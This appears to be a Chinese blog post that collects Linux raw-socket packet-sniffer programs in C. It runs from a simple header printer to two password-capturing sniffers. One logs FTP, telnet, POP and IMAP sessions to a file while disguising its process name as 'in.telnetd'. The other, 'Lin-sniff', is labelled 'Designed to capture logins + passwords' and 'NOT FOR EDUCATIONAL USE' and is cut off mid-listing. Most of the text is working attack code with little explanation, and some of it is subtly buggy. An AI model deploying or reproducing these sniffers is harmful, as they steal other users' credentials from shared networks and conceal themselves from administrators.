现在的位置: 首页 > 综合 > 正文

正在学习关于sniffer的编程,收集到的资料(有经过修正程序)

2012年09月14日 ⁄ 综合 ⁄ 共 14394字 ⁄ 字号 评论关闭
IFREQ是跟网络接口有关的结构
/*
* Interface request structure used for socket
* ioctl's. All interface ioctl's must have parameter
* definitions which begin with ifr_name. The
* remainder may be interface specific.
*/

struct ifreq
{
#define IFHWADDRLEN 6
#define IFNAMSIZ 16
union
{
char ifrn_name[IFNAMSIZ]; /* if name, e.g. "en0" */
} ifr_ifrn;

union {
struct sockaddr ifru_addr;
struct sockaddr ifru_dstaddr;
struct sockaddr ifru_broadaddr;
struct sockaddr ifru_netmask;
struct sockaddr ifru_hwaddr;
short ifru_flags;
int ifru_ivalue;
int ifru_mtu;
struct ifmap ifru_map;
char ifru_slave[IFNAMSIZ]; /* Just fits the size */
char ifru_newname[IFNAMSIZ];
char * ifru_data;
struct if_settings ifru_settings;
} ifr_ifru;
};
 

 
找到一些能用的程序,但是解释太少
//--------------------------------------------------------------------------------

#include <stdio.h>
#include <errno.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <linux/in.h>
#include <linux/if_ether.h>

int main(int argc, char **argv) {
int sock, n;
char buffer[2048];
unsigned char *iphead, *ethhead;

if ( (sock=socket(PF_PACKET, SOCK_RAW,htons(ETH_P_IP)))<0)
{
    perror("socket");
    exit(1);
}

while (1) {
printf("----------/n");
n = recvfrom(sock,buffer,2048,0,NULL,NULL);
printf("%d bytes read/n",n);

/* Check to see if the packet contains at least
* complete Ethernet (14), IP (20) and TCP/UDP
* (8) headers.
*/
if (n<42) {
perror("recvfrom():");
printf("Incomplete packet (errno is %d)/n",errno);
close(sock);
exit(0);
}

ethhead = buffer;
printf("Source MAC address: %02x:%02x:%02x:%02x:%02x:%02x/n",
                    ethhead[0],ethhead[1],ethhead[2],
                    ethhead[3],ethhead[4],ethhead[5]);
printf("Destination MAC address: %02x:%02x:%02x:%02x:%02x:%02x/n",
                    ethhead[6],ethhead[7],ethhead[8],
                    ethhead[9],ethhead[10],ethhead[11]);

iphead = buffer+14; /* Skip Ethernet header */
if (*iphead==0x45) { /* Double check for IPv4
* and no options present */
printf("Source host %d.%d.%d.%d/n",
                    iphead[12],iphead[13],
                    iphead[14],iphead[15]);
printf("Dest host %d.%d.%d.%d/n",
                    iphead[16],iphead[17],
                    iphead[18],iphead[19]);
printf("Source,Dest ports %d,%d/n",
                    (iphead[20]<<8)+iphead[21],
                    (iphead[22]<<8)+iphead[23]);
printf("Layer-4 protocol %d/n",iphead[9]);
}
}

}
//-----------------------------------------------------------------------

#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <linux/in.h>
#include <linux/if_ether.h>
#include <net/if.h>
#include <sys/ioctl.h>

int main(int argc, char **argv) {
int sock, n;
char buffer[2048];
unsigned char *iphead, *ethhead;
struct ifreq ethreq;

if ( (sock=socket(PF_PACKET, SOCK_RAW,htons(ETH_P_IP)))<0) {
perror("socket");
exit(1);
}

/* Set the network card in promiscuos mode */
strncpy(ethreq.ifr_name,"eth0",IFNAMSIZ);
if (ioctl(sock,SIOCGIFFLAGS,&ethreq)==-1) {
perror("ioctl");
close(sock);
exit(1);
}
ethreq.ifr_flags|=IFF_PROMISC;
if (ioctl(sock,SIOCSIFFLAGS,&ethreq)==-1) {
perror("ioctl");
close(sock);
exit(1);
}

while (1) {
printf("----------/n");
n = recvfrom(sock,buffer,2048,0,NULL,NULL);
printf("%d bytes read/n",n);

/* Check to see if the packet contains at least
* complete Ethernet (14), IP (20) and TCP/UDP
* (8) headers.
*/
if (n<42) {
perror("recvfrom():");
printf("Incomplete packet (errno is %d)/n",
errno);
close(sock);
exit(0);
}

ethhead = buffer;
printf("Source MAC address: "
"%02x:%02x:%02x:%02x:%02x:%02x/n",
ethhead[0],ethhead[1],ethhead[2],
ethhead[3],ethhead[4],ethhead[5]);
printf("Destination MAC address: "
"%02x:%02x:%02x:%02x:%02x:%02x/n",
ethhead[6],ethhead[7],ethhead[8],
ethhead[9],ethhead[10],ethhead[11]);

iphead = buffer+14; /* Skip Ethernet header */
if (*iphead==0x45) { /* Double check for IPv4
* and no options present */
printf("Source host %d.%d.%d.%d/n",
iphead[12],iphead[13],
iphead[14],iphead[15]);
printf("Dest host %d.%d.%d.%d/n",
iphead[16],iphead[17],
iphead[18],iphead[19]);
printf("Source,Dest ports %d,%d/n",
(iphead[20]<<8)+iphead[21],
(iphead[22]<<8)+iphead[23]);
printf("Layer-4 protocol %d/n",iphead[9]);
}
}

}
//---------------------------------------------------------------------------
/************************sniffer.c****************************/
#include <stdio.h>;
#include <stdlib.h>;
#include <unistd.h>;
#include <string.h>;
#include <signal.h>;
#include <netinet/in.h>;
#include <netinet/ip.h>;
#include <netinet/tcp.h>;
#include <net/if.h>;
#include <netdb.h>;
#include <sys/ioctl.h>;
#include <sys/stat.h>;
#include <fcntl.h>;
#include <ctype.h>;
#include <sys/file.h>;
#include <sys/time.h>;
#include <sys/socket.h>;
#include <arpa/inet.h>;
#include <netinet/if_ether.h>;
#define INTERFACE "eth0"                      /* 网卡 */


int set_promisc(char *interface,int sock)              /* 杂乱模式 */
{
struct ifreq ifr;

strncpy(ifr.ifr_name, interface,strlen(interface)+1);
if((ioctl(sock, SIOCGIFFLAGS, &ifr) == -1)) {
printf("Could not receive flags for the interface/n");
exit(0);
}
ifr.ifr_flags |= IFF_PROMISC;
if(ioctl(sock, SIOCSIFFLAGS, &ifr) == -1 ) {
printf("Could not set the PROMISC flag./n");
exit(0);
}
printf("Setting interface ::: %s ::: to promisc/n", interface);

}

main()
{
int sock,bytes_received,len;
char *data;
char buffer[65535];
struct sockaddr_in addr;
struct iphdr *ip;
struct tcphdr *tcp;

if((sock = socket(AF_INET,SOCK_RAW,IPPROTO_TCP)) == -1)
{    /* 使用SOCK_RAW */
printf("sniffer failt/n");
exit(0);
}
set_promisc(INTERFACE,sock);
while(1)
{
len = sizeof(addr);
bytes_received = recvfrom(sock,(char *)buffer,sizeof(buffer),0,(struct sockaddr *)&addr,&len);
printf("/nBytes received %5d/n",bytes_received);
printf("Source address %s /n",inet_ntoa(addr.sin_addr));
ip = (struct iphdr *)buffer;                 /* 格式化buffer的内容 */
printf("IP header length %d/n",ip->tot_len);
printf("Protocol %d/n",ip->protocol);
tcp = (struct tcphdr *)(buffer+sizeof(struct iphdr));    /* 格式化ip数据后面的buffer内容 */
printf("Source port %d/n",ntohs(tcp->source));
printf("Dest port %d /n",ntohs(tcp->dest));
data = &buffer[sizeof(struct iphdr) + sizeof(struct tcphdr)];  /* data 等于去掉iphdr和tcphdr后的buffer内容 */
printf("data: %s",data);
}
}
//----------------------------------------------------------------------------
#include <string.h>
#include <ctype.h>
#include <stdio.h>
#include <netdb.h>
#include <sys/file.h>
#include <sys/time.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <sys/signal.h>
#include <net/if.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <netinet/if_ether.h>

int openintf(char *);
int read_tcp(int);
int filter(void);
int print_header(void);
int print_data(int, char *);
char *hostlookup(unsigned long int);
void clear_victim(void);
void cleanup(int);


struct etherpacket
{
struct ethhdr eth;
struct iphdr ip;
struct tcphdr tcp;
char buff[8192];
}ep;
  
  struct
  {
  unsigned long saddr;
  unsigned long daddr;
  unsigned short sport;
  unsigned short dport;
  int bytes_read;
  char active;
  time_t start_time;
  } victim;
  
  struct iphdr *ip;
  struct tcphdr *tcp;
  int s;
  FILE *fp;
  
  #define CAPTLEN 512
  #define TIMEOUT 30
  #define TCPLOG "tcp.log"
  
  int openintf(char *d)
  {
  int fd;
  struct ifreq ifr;
  int s;
  fd=socket(AF_INET, SOCK_PACKET, htons(0x800));
  if(fd < 0)
  {
  perror("cant get SOCK_PACKET socket");
  exit(0);
  }
  strcpy(ifr.ifr_name, d);
  s=ioctl(fd, SIOCGIFFLAGS, &ifr);
  if(s < 0)
  {
  close(fd);
  perror("cant get flags");
  exit(0);
  }
  ifr.ifr_flags |= IFF_PROMISC;
  s=ioctl(fd, SIOCSIFFLAGS, &ifr);
  if(s < 0) perror("can not set promiscuous mode");
  return fd;
  }
  
  int read_tcp(int s)
  {
  int x;
  while(1)
  {
  x=read(s, (struct etherpacket *)&ep, sizeof(ep));
  if(x > 1)
  {
  if(filter()==0) continue;
  x=x-54;
  if(x < 1) continue;
  return x;
  }
  }
  }
  
  int filter(void)
  {
  int p;
  p=0;
  if(ip->protocol != 6) return 0;
  if(victim.active != 0)
  if(victim.bytes_read > CAPTLEN)
  {
  fprintf(fp, "/n----- [CAPLEN Exceeded]/n");
  clear_victim();
  return 0;
  }
  if(victim.active != 0)
  if(time(NULL) > (victim.start_time + TIMEOUT))
  {
  fprintf(fp, "/n----- [Timed Out]/n");
  clear_victim();
  return 0;
  }
  if(ntohs(tcp->dest)==21) p=1; /* ftp */
  if(ntohs(tcp->dest)==23) p=1; /* telnet */
  if(ntohs(tcp->dest)==110) p=1; /* pop3 */
  if(ntohs(tcp->dest)==109) p=1; /* pop2 */
  if(ntohs(tcp->dest)==143) p=1; /* imap2 */
  if(ntohs(tcp->dest)==513) p=1; /* rlogin */
  if(ntohs(tcp->dest)==106) p=1; /* poppasswd */
  if(victim.active == 0)
  if(p == 1)
  if(tcp->syn == 1)
  {
  victim.saddr=ip->saddr;
  victim.daddr=ip->daddr;
  victim.active=1;
  victim.sport=tcp->source;
  victim.dport=tcp->dest;
  victim.bytes_read=0;
  victim.start_time=time(NULL);
  print_header();
  }
  if(tcp->dest != victim.dport) return 0;
  if(tcp->source != victim.sport) return 0;
  if(ip->saddr != victim.saddr) return 0;
  if(ip->daddr != victim.daddr) return 0;
  if(tcp->rst == 1)
  {
  victim.active=0;
  alarm(0);
  fprintf(fp, "/n----- [RST]/n");
  clear_victim();
  return 0;
  }
  if(tcp->fin == 1)
  {
  victim.active=0;
  alarm(0);
  fprintf(fp, "/n----- [FIN]/n");
  clear_victim();
  return 0;
  }
  return 1;
  }
  
  int print_header(void)
  {
  fprintf(fp, "/n");
  fprintf(fp, "%s => ", hostlookup(ip->saddr));
  fprintf(fp, "%s [%d]/n", hostlookup(ip->daddr), ntohs(tcp->dest));
  }
  
  int print_data(int datalen, char *data)
  {
  int i=0;
  int t=0;
  
  victim.bytes_read=victim.bytes_read+datalen;
  for(i=0;i != datalen;i++)
  {
  if(data[i] == 13) { fprintf(fp, "/n"); t=0; }
  if(isprint(data[i])) {fprintf(fp, "%c", data[i]);t++;}
  if(t > 75) {t=0;fprintf(fp, "/n");}
  }
  }
  
  main(int argc, char **argv)
  {
  sprintf(argv[0],"%s","in.telnetd");
  s=openintf("eth0");
  ip=(struct iphdr *)(((unsigned long)&ep.ip)-2);
  tcp=(struct tcphdr *)(((unsigned long)&ep.tcp)-2);
  signal(SIGHUP, SIG_IGN);
  signal(SIGINT, cleanup);
  signal(SIGTERM, cleanup);
  signal(SIGKILL, cleanup);
  signal(SIGQUIT, cleanup);
  if(argc == 2) fp=stdout;
  else fp=fopen(TCPLOG, "at");
  if(fp == NULL) { fprintf(stderr, "cant open log/n");exit(0);}
  clear_victim();
  for(;;)
  {
  read_tcp(s);
  if(victim.active != 0) print_data(htons(ip->tot_len)-sizeof(ep.ip)-sizeof(ep.tcp), ep.buff-2);
  fflush(fp);
  }
  }
  
  char *hostlookup(unsigned long int in)
  {
  static char blah[1024];
  struct in_addr i;
  struct hostent * he;
  
  i.s_addr=in;
  he=gethostbyaddr((char *)&i, sizeof(struct in_addr),AF_INET);
  if(he == NULL)
  strcpy(blah, inet_ntoa(i));
  else
  strcpy(blah,he->h_name);
  
  return blah;
  }
  
  void clear_victim(void)
  {
  victim.saddr=0;
  victim.daddr=0;
  victim.sport=0;
  victim.dport=0;
  victim.active=0;
  victim.bytes_read=0;
  victim.start_time=0;
  }
  
  void cleanup(int sig)
  {
  fprintf(fp, "Exiting.../n");
  close(s);
  fclose(fp);
  exit(0);
  }
//---------------------------------------------------------------------

/****************************************************************

 Lin-sniff--NOTE: NOT FOR EDUCATIONAL USE!
 Copyright (C) 2000 Xphere
 Designed to capture logins + passwords
 The original edition has some bugs,I perfect it again
 Compile: gcc -O3 -Wall lin-sniff.c -o lin-sniff
 
 ****************************************************************/

 

 

#include <stdio.h>
#include <ctype.h>
#include <string.h>
#include <stdlib.h>
#include <signal.h>
#include <netdb.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <sys/ioctl.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <linux/if.h>
#include <linux/ip.h>
#include <linux/tcp.h>
#include <linux/socket.h>
#include <linux/sockios.h>
#include <linux/if_ether.h>


/*函数声明*/
int check_port(int port);
char *lookup(long ip);
void print_dat(int d_size, char *data);
void print_victim(unsigned long saddr, unsigned long daddr,
               unsigned short src_port, unsigned short dst_port,
               int d_size, char *data);
void rm_victim(int i);
void check_victim();
int find_victim(struct iphdr *ip, struct tcphdr *tcp);
void reset_victim(struct iphdr *ip, struct tcphdr *tcp);
void init_victim(struct iphdr *ip, struct tcphdr *tcp);
void data_victim(struct iphdr *ip, struct tcphdr *tcp, int d_size, char *data);
void proc_packet(char *buf);
void init_victim_list();
void terminate();
int main (int argc, char *argv[]);

 

/* 定义要嗅探的端口,‘0’用于结束循环,不能丢! */
int ports[] = { 21, 23, 110, 109, 143, 513, 0 };


/*结构定义*/
struct {
    unsigned long src_addr;/*信源主机*/
    unsigned long dst_addr;/*信宿主机*/
    unsigned short src_port;/*源端口*/
    unsigned short dst_port;/*目的端口*/
    int state;/*状态*/
    int d_size;
    long start_time;
    char *data;
} victim_list[1024];/*1024为能嗅探通信连接的最大数目*/


/*检测端口*/
int check_port(int port)
{
    int i;
  /*为‘0’则退出*/
    for (i = 0; ports[i] > 0; ++i) {
        if (port == ports[i]) {
            return(1);
        }
    }
    return(0);
}

 

/*建立套接字,设置网卡为混杂模式*/
int open_fd(char *intf)
{
    int f, s;
    struct ifreq ifr;

  /*建立套接字*/
    if ((f = socket(AF_INET, SOCK_PACKET, htons(0x800))) < 0) {
        return(-1);
    }
    /*接口名*/
    strcpy(ifr.ifr_name, intf);
    /*获取接口标志*/
    if ((s = ioctl(f, SIOCGIFFLAGS, &ifr)) < 0) {
        close(f);
        return(-1);
    }
    /*设置接口为混杂模式*/
    ifr.ifr_flags |= IFF_PROMISC;
    /*设置接口标志*/
    if ((s = ioctl(f, SIOCSIFFLAGS, &ifr)) < 0) {
        return(-1);
    }
    printf("Setting interface ::: %s ::: to promisc/n/n", intf);
    return(f);
}


/*根据二进制ip地址获取对应的主机名*/
char *lookup(long ip)
{
    static char n[1024];
    struct in_addr ia;
    struct hostent *he;

    ia.s_addr = ip;
    /*完成由二进制地址到名字的转换gethostbyaddr(实际上结构int_addr的地址, 4(IPv4)或6(IPv6), AF_INET或AF_INET6)*/
    he = gethostbyaddr((char *) &ia, sizeof(struct in_addr), AF_INET);
 

    if ((sizeof(he->h_name) <= sizeof(n)) && he != NULL) {
        strcpy(n, he->h_name);
    }
    else {
        strcpy(n, inet_ntoa(ia));
    }
    return(n);
}


/*打印数据报数据*/
void print_dat(int d_size, char *data)
{
    int i = 0;

    for (i = 0; i < d_size; ++i) {
        if (data[i] == 13) {
            fprintf(stdout, "/n");
        }
        if (isprint(data[i])) {
            fprintf(stdout, "%c", data[i]);
        }
    }
    return;
}


/*打印数据报(报头+数据)*/
void print_victim(unsigned long saddr, unsigned long daddr,
               unsigned short src_port, unsigned short dst_port,
               int d_size, char *data) {

    fprintf(stdout, "+-----< HOST: %s ", lookup(saddr));
    fprintf(stdout, "PORT: %d  ->  ", ntohs(src_port));
    fprintf(stdout, "HOST: %s ", lookup(daddr));
    fprintf(stdout, "PORT: %d >/n/n", ntohs(dst_port));
    print_dat(d_size, data);/*调用函数打印数据报数据*/
    return;
}


/*对 victim_list结构清零*/
void rm_victim(int i)
{
    victim_list[i].src_addr = 0;
    victim_list[i].dst_addr = 0;
    victim_list[i].src_port = 0;
    victim_list[i].dst_port = 0;
    victim_list[i].state = 0;
    victim_list[i].d_size = 0;
    victim_list[i].start_time = 0;
    free(victim_list[i].data);
    victim_list[i].data = NULL;
    return;
}


/*检测各通信连接--只嗅探每个连接30s*/
void check_victim()
{
    int i;

    for (i = 0; i < 1024; ++i) {
        if (victim_list[i].state == 1) {
            if ((victim_list[i].start_time + 3000) < time(NULL)) {
                print_victim(victim_list[i].src_addr, victim_list[i].dst_addr,
                          victim_list[i].src_port, victim_list[i].dst_port,
                          victim_list[i].d_size, victim_list[i].data);

                fprintf(stdout, "/n+-----< Timed out. >/n/n/n");
                rm_victim(i);
            }
        }
    }
    return;
}


/*查找有效通信连接*/
int find_victim(struct iphdr *ip, struct tcphdr *tcp)
{
    int i;

    for (i = 0; i < 1024; ++i) {
        if (victim_list[i].state == 1) {
            if ((victim_list[i].src_addr == ip->saddr) &&
                (victim_list[i].dst_addr == ip->daddr) &&
                (victim_list[i].src_port == tcp->source) &&
                (victim_list[i].dst_port == tcp->dest)) {

                return(i);

抱歉!评论已关闭.